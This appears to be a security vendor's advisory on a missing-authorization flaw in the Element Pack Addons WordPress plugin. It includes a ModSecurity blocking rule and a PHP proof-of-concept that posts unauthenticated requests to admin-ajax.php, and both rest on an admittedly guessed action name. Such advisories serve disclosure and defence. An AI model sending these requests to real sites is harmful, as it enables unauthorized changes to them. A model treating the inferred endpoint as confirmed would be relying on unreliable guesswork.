Atomic Edge analysis of CVE-2026-65502 (metadata-based): This vulnerability affects the Element Pack Addons for Elementor plugin, versions up to and including 8.7.13. The plugin fails to perform a capability check on an unspecified function, allowing unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating a low integrity impact without confidentiality or availability impact.
Root Cause: The CWE classification is Missing Authorization (CWE-862) and the description confirms that a function lacks a capability check. This means the vulnerable function does not verify that the current user has the required permission (such as edit_posts, manage_options, or a custom capability) before executing. Atomic Edge analysis concludes that the vulnerable function is likely registered as an AJAX action or REST API endpoint, as these are the most common WordPress attack surfaces for such issues. The exact function and endpoint are not confirmed because no code diff is available, but based on the plugin’s architecture, the endpoint likely handles actions like importing templates, saving settings, or updating widget data.
Exploitation: Since the vulnerability allows unauthenticated access, an attacker can send crafted requests to the vulnerable endpoint without logging in. For WordPress, if the vulnerable function is an AJAX handler, the attacker would send a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable hook name, along with any other required parameters. If the function is a REST API endpoint, the attacker would send a request to /wp-json/{namespace}/{route}. Atomic Edge research cannot determine the exact action or route from the metadata, but the exploitation would involve sending a standard HTTP request to the discovered endpoint. The CVSS vector indicates the attack is network-based, requires low complexity, and needs no user interaction or privileges, confirming that direct HTTP requests are sufficient.
Remediation: The fix must add a capability check to the vulnerable function. The developer should implement a call to current_user_can() with the appropriate capability before the function performs any sensitive action. Common capabilities for admin-level functions include ‘manage_options’ or ‘edit_others_posts’. Additionally, for AJAX handlers, the plugin should verify nonce verification (check_ajax_referer) to prevent cross-site request forgery. The patched version 8.7.14 likely incorporates these checks, and the plugin should enforce them consistently across all similar functions.
Impact: Successful exploitation allows an unauthenticated attacker to perform an unauthorized action. According to the CVSS vector, this action can modify data or settings (low integrity impact) but does not directly expose confidential information or lead to full compromise. However, depending on the function, the attacker could modify plugin settings, inject malicious content, or trigger actions that lead to further attacks. The impact is limited, but it still represents a security boundary bypass that should be patched promptly.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65502 (metadata-based)
# This rule blocks unauthenticated access to the Element Pack AJAX endpoint when the action parameter matches a probable vulnerable action.
# The exact endpoint is inferred from the plugin slug and the vulnerability type; adjust the action name if different.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:265502,phase:2,deny,status:403,chain,msg:'CVE-2026-65502 - Missing Authorization in Element Pack Addons AJAX action',severity:'CRITICAL',tag:'CVE-2026-65502'"
SecRule ARGS_POST:action "@streq bdthemes_element_pack_save_settings" "chain"
SecRule REQUEST_COOKIES:wordpress_logged_in_ "@rx ^$" "t:urlDecode"
# If the exact action is unknown, a broader rule can be used, but it must be carefully scoped.
# The following rule blocks all AJAX requests to the plugin's common action prefixes when the user is not logged in.
# Use one of these rules depending on the actual endpoint discovered.
# SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
# "id:265503,phase:2,deny,status:403,chain,msg:'CVE-2026-65502 - Missing Authorization in Element Pack AJAX (broad)',severity:'CRITICAL',tag:'CVE-2026-65502'"
# SecRule ARGS_POST:action "@rx ^bdthemes_element_pack_" "chain"
# SecRule REQUEST_COOKIES:wordpress_logged_in_ "@rx ^$"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65502 - Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons <= 8.7.13 - Missing Authorization
// Assumptions:
// - The vulnerable function is registered as an AJAX action (most common for WordPress plugins).
// - The action is not publicly documented, but we infer a common pattern. For this PoC, we use 'bdthemes_element_pack_save_settings' as the action name, but the actual action may differ.
// - The vulnerability allows unauthenticated access, so no cookie or nonce is required.
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Replace with the target WordPress installation URL
// Define the action parameter; adjust this to the actual vulnerable action discovered.
$action = 'bdthemes_element_pack_save_settings';
// Parameters to send; these are placeholder values. The actual parameters depend on the vulnerable function.
$params = array(
'action' => $action,
'data' => '{"some_setting":"malicious_value"}' // JSON payload assuming the function expects JSON
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo "HTTP request sent successfully. Response:n" . $response . "n";
// In a real exploit, you would analyze the response to confirm the action was executed.
}
curl_close($ch);
